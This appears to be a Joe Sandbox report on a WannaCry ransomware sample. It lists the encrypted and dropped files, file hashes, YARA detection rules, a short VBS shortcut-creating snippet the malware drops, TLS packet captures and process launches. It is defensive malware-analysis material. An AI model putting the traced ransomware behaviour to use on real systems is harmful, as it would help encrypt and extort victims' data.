Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\@Please_Read_Me@.txt

C:\Users\user\AppData\Local\@WanaDecryptor@.exe.lnk

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRY (copy)

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRYT

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\128.png.WNCRY (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\128.png.WNCRYT

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\192.png.WNCRY (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\192.png.WNCRYT

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRY (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRYT

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\32.png.WNCRY (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\32.png.WNCRYT

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\48.png.WNCRY (copy)

Windows Analysis Report
WannaCry.bin.zip

Process:	C:\Program Files\7-Zip\7zG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3514368
Entropy (8bit):	7.995470941164686
Encrypted:	true
SSDEEP:	98304:QqPoBhz1aRxcSUDk36SAEdhvxWa9P593R8yAVp2g3x:QqPe1Cxcxk3ZAEUadzR8yc4gB
MD5:	84C82835A5D21BBCF75A61706D8AB549
SHA1:	5FF465AFAABCBF0150D1A3AB2C2E74F3A4426467
SHA-256:	ED01EBFBC9EB5BBEA545AF4D01BF5F1071661840480439C6E5BABE8E080E41AA
SHA-512:	90723A50C20BA3643D625595FD6BE8DCF88D70FF7F4B4719A88F055D5B3149A4231018EA30D375171507A147E59F73478C0C27948590794554D031E7D54B7244
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Users\user\Desktop\WannaCry.bin, Author: Joe Security Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Users\user\Desktop\WannaCry.bin, Author: Florian Roth (with the help of binar.ly) Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Users\user\Desktop\WannaCry.bin, Author: us-cert code analysis team Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\WannaCry.bin, Author: ReversingLabs
Antivirus:	Antivirus: ReversingLabs, Detection: 95%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:..T...T...T..X...T.._...T.'.Z...T..^...T..P...T.g.....T...U...T..._...T.c.R...T.Rich..T.........................PE..L...A..L.................p... 5......w............@...........................5.................................................d.........4..........................................................................................................text....i.......p.................. ..`.rdata..p_.......`..................@..@.data...X........ ..................@....rsrc.....4.......4.................@..@........................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	199
Entropy (8bit):	4.912726038453008
Encrypted:	false
SSDEEP:	3:gponhvDCKFcsDsHVWW+WlynJ96JS2x9rbPsHVWW+WlynJSK2Fvn:e+hvbsHvRoJgJSoPsHvRoJSK2Fv
MD5:	39BF0B9AB256A154C623E7EA69C6DCE7
SHA1:	3D7A9AAD6554B5ED84A49652A826AFA3B75CA4BA
SHA-256:	ABE986A51CF74A94EC6213066C13C18A403515D632C0A73F8B789A971A0637BC
SHA-512:	563FCD42580CF4F95EECED90ADBAE5C2D84B5F5DEF76376380B2872049FBBF697F26F91F22DF97FDC08CA84368749BDA2EA22A9F2E89CFE98CEA00134C059803
Malicious:	true
Preview:	SET ow = WScript.CreateObject("WScript.Shell")..SET om = ow.CreateShortcut("C:\Users\user\Desktop\@WanaDecryptor@.exe.lnk")..om.TargetPath = "C:\Users\user\Desktop\@WanaDecryptor@.exe"..om.Save..

Process:	C:\Windows\SysWOW64\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.305255793112395
Encrypted:	false
SSDEEP:	3:8yzGc7C1RREal:nzGtRV
MD5:	6ED2062D4FB53D847335AE403B23BE62
SHA1:	C3030ED2C3090594869691199F46BE7A9A12E035
SHA-256:	43B5390113DCBFA597C4AAA154347D72F660DB5F2A0398EB3C1D35793E8220B9
SHA-512:	C9C302215394FEC0B38129280A8303E0AF46BA71B75672665D89828C6F68A54E18430F953CE36B74F50DC0F658CA26AC3572EA60F9E6714AFFC9FB623E3C54FC
Malicious:	false
Preview:	ERROR:...Description = Initialization failure...

File type:	Zip archive data, at least v5.1 to extract, compression method=AES Encrypted
Entropy (8bit):	7.999950127956054
TrID:	ZIP compressed archive (8000/1) 99.91% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.09%
File name:	WannaCry.bin.zip
File size:	3'483'686 bytes
MD5:	ea519b09029a4f50fa287b56ff0a4ced
SHA1:	de8247d49aa8b8f036afe47838044bdf6abc8f3d
SHA256:	03c844091ab3980e0ae13be2e456c3e00cfa3971139b53b95850db37757a9e84
SHA512:	ac4e612a40b45196ab00fa93351ed499c8e1314a9960c253b5f9af9b512787509e81337955ff0ec46085286d7c3ce9d4fb28e09af0b0cb8c4966cc3c3257bbdf
SSDEEP:	98304:1Bk9Y/pSX7m4Pc8o+F9qcdYpFcFtJATPCRthL5:/WIpC7mf8o+7FtwPCRL5
TLSH:	7AF533C56951E7AC189378C2820282A934782584F9BD161FCCDFEAD1FEF90E4DF6D11A
File Content Preview:	PK..3...c..h.X................WannaCry.bin......AE....N...FB.....l\".)....I...G..G.....{.........3.m..].^C.7."c.c.0.Fp..\|i...z........j....>XY........O...m.U......W...#u.pm..P"'.I0...>A..{...xy.......Z.....dp.......&...'&..G...R,..6..r........U......~..

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 08:44:24.458076954 CEST	204	OUT	Data Raw: 16 03 01 00 c7 01 00 00 c3 03 03 26 f3 40 ee d3 f7 4a 44 d1 90 b9 10 d3 c4 8f e5 01 fc d8 7b ad 97 46 06 2c 5f cc a1 bc 5e 10 28 00 00 30 c0 2b c0 2f c0 0a c0 09 c0 13 c0 14 c0 12 c0 07 c0 11 00 33 00 32 00 45 00 39 00 38 00 88 00 16 00 2f 00 41 Data Ascii: &@JD{F,_^(0+/32E98/A5jwww.qx5y.com#
Oct 4, 2024 08:44:25.146260977 CEST	1013	IN	Data Raw: 16 03 03 00 39 02 00 00 35 03 03 ff 0e 81 ef e0 8e 7d 42 63 e4 82 23 a6 5d 16 c6 f6 01 2b 68 25 ff b0 c4 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 0d ff 01 00 01 00 00 0b 00 04 03 00 01 02 16 03 03 02 57 0b 00 02 53 00 02 50 00 02 4d 30 82 02 49 30 Data Ascii: 95}Bc#]+h%DOWNGRD/WSPM0I0s<<0H0$1"0 Uwww.zxd6kfqofu3i3ctzj.com0240809000000Z241017235959Z0%1#0!Uwww.orckmzxacfrgntkn52.net0"0H
Oct 4, 2024 08:44:25.249840021 CEST	126	OUT	Data Raw: 16 03 03 00 46 10 00 00 42 41 04 5b f2 4a 6a 91 e2 ee 7a 3f f3 c8 d1 87 d3 7d 53 da 59 1f 06 60 4f 83 39 d5 bc 0b 46 03 d2 57 5e 8b 60 81 21 72 83 19 07 65 73 f4 9c a8 cd a8 a9 77 d9 f4 15 76 dc 88 2a b9 f7 ab bb f8 73 f0 bf 14 03 03 00 01 01 16 Data Ascii: FBA[Jjz?}SY`O9FW^`!reswv*s(S"V6d&yKPbsTGB}%
Oct 4, 2024 08:44:25.721179008 CEST	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 33 6e 22 d9 f2 42 fc b4 4a ec 2f b6 2b 2c 06 72 0c dc d5 19 9a 72 36 2f f5 4e cf 51 84 84 33 75 02 43 33 b4 8b 89 52 2b Data Ascii: (3n"BJ/+,rr6/NQ3uC3R+
Oct 4, 2024 08:44:25.721498013 CEST	38	OUT	Data Raw: 17 03 03 00 21 53 22 fa 95 56 11 ed 37 d9 6b ea 1a 34 0b 2a 2e d0 a6 25 01 cb 95 84 4c 30 34 71 52 2e bc 90 88 62 Data Ascii: !S"V7k4*.%L04qR.b
Oct 4, 2024 08:44:26.302583933 CEST	1236	IN	Data Raw: 17 03 03 08 17 33 6e 22 d9 f2 42 fc b5 86 20 9c 60 05 fb 96 62 76 f5 1b 73 df 22 58 1f 9b 69 98 f3 9c b5 8b 45 32 a7 f3 b9 06 c6 9f b5 26 38 d1 cb fa 7e 2f 73 0d 3e df 84 7a 92 d5 7e 40 62 e0 27 d8 68 e4 ca 1e 01 a1 25 dc d3 2f 78 0a 21 47 2e af Data Ascii: 3n"B `bvs"XiE2&8~/s>z~@b'h%/x!G.wdL>jelui&2rh#y)<>-qB`trT8#_;5~1-FZ["gxH1{nRV=U71hZ'=D%zGlX%
Oct 4, 2024 08:44:26.302958012 CEST	840	IN	Data Raw: 2f 2c 83 02 22 28 f1 24 e0 27 3d 8b e9 20 48 90 e4 7c d6 fe 00 ff 5a 53 00 5f d7 f0 1d 52 73 ba 0c 37 65 1e a9 27 40 a1 84 98 de 5c f2 4a 80 3b f1 da 32 22 56 4b 41 64 b7 f5 e2 48 2c 14 5d 02 04 d1 51 b9 93 24 25 fa b6 4f f4 ca bb da 2b e2 71 2b Data Ascii: /,"($'= H\|ZS_Rs7e'@\J;2"VKAdH,]Q$%O+q+Cx.GAEfx^lPgE}$rX\"Ll2sE"q&+bOq JdlsHh0gI4F ]]A-jS@EA
Oct 4, 2024 08:44:26.375966072 CEST	1057	OUT	Data Raw: 17 03 03 04 1c 53 22 fa 95 56 11 ed 38 43 a5 b9 fa 34 64 96 72 c3 98 b1 83 b0 f5 ed 1b e9 16 66 97 34 ea a7 06 9b a0 b1 28 0f 2d 85 7a 85 30 e3 09 c8 28 64 e0 53 fc 0e 2e e2 5f e0 95 54 28 b6 15 b8 a8 68 67 b4 ef c1 a0 20 c4 61 d1 c5 7b 18 7b 4b Data Ascii: S"V8C4drf4(-z0(dS._T(hg a{{KHTDT~0I!oioib4zQd:L\|oGZ/nRLY]c'0\|)+H8)UCSQcd^H-P x#j:LH-~@4xkQO(=
Oct 4, 2024 08:44:26.600922108 CEST	543	IN	Data Raw: 17 03 03 02 1a 33 6e 22 d9 f2 42 fc b6 e4 7e 19 4b 7c 75 4d 75 12 f7 36 e0 38 8f b0 87 e4 ca 59 66 7c 2b fe de f2 58 ae fd 0d e7 d6 df b8 14 9e 33 c6 11 92 5c fb 83 44 d7 07 8a db 48 0d 99 de d1 d4 b6 b6 a1 3a e6 14 92 45 3e a5 6f 2b e4 f8 b4 7e Data Ascii: 3n"B~K\|uMu68Yf\|+X3\DH:E>o+~6S\|bM/$o,(t2"_ =?u?7+E{b7DA^P-G(cx_B(_%w8#&]K5z~ T+p
Oct 4, 2024 08:44:26.616498947 CEST	1057	OUT	Data Raw: 17 03 03 04 1c 53 22 fa 95 56 11 ed 39 0d 02 c7 1f 39 f4 d4 a8 7a fb 53 94 fb 28 f4 fb 00 20 25 61 a6 32 11 ad b2 62 d7 09 68 d6 0e 5b ef 36 b2 69 6b a4 00 34 d9 75 b8 29 6a 4b 85 9d 96 71 95 35 cf b2 04 5f 86 54 c6 94 38 54 a9 d2 fb 4d 07 c4 49 Data Ascii: S"V99zS( %a2bh[6ik4u)jKq5_T8TMIGWN&Z#D&'h.Qg,2/LTr{hiiy-J +C1+u\|\|7<TFw"^%J:Q=s8#X=1z;"3 Vg

Target ID:	0
Start time:	02:42:42
Start date:	04/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Imagebase:	0x7ff753e20000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	02:43:02
Start date:	04/10/2024
Path:	C:\Program Files\7-Zip\7zG.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\user\Desktop\" -an -ai#7zMap23742:84:7zEvent9207
Imagebase:	0x340000
File size:	700'416 bytes
MD5 hash:	50F289DF0C19484E970849AAC4E6F977
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	15
Start time:	02:43:19
Start date:	04/10/2024
Path:	C:\Users\user\Desktop\WannaCry.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\WannaCry.exe"
Imagebase:	0x400000
File size:	3'514'368 bytes
MD5 hash:	84C82835A5D21BBCF75A61706D8AB549
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 0000000F.00000003.1474514530.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 0000000F.00000000.1444934334.000000000040E000.00000008.00000001.01000000.00000008.sdmp, Author: us-cert code analysis team
Reputation:	moderate
Has exited:	false

Target ID:	27
Start time:	02:43:21
Start date:	04/10/2024
Path:	C:\Windows\SysWOW64\cscript.exe
Wow64 process (32bit):	true
Commandline:	cscript.exe //nologo m.vbs
Imagebase:	0x970000
File size:	144'896 bytes
MD5 hash:	CB601B41D4C8074BE8A84AED564A94DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	33
Start time:	02:43:22
Start date:	04/10/2024
Path:	C:\Users\user\Desktop\taskdl.exe
Wow64 process (32bit):	true
Commandline:	taskdl.exe
Imagebase:	0x400000
File size:	20'480 bytes
MD5 hash:	4FEF5E34143E646DBF9907C4374276F5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true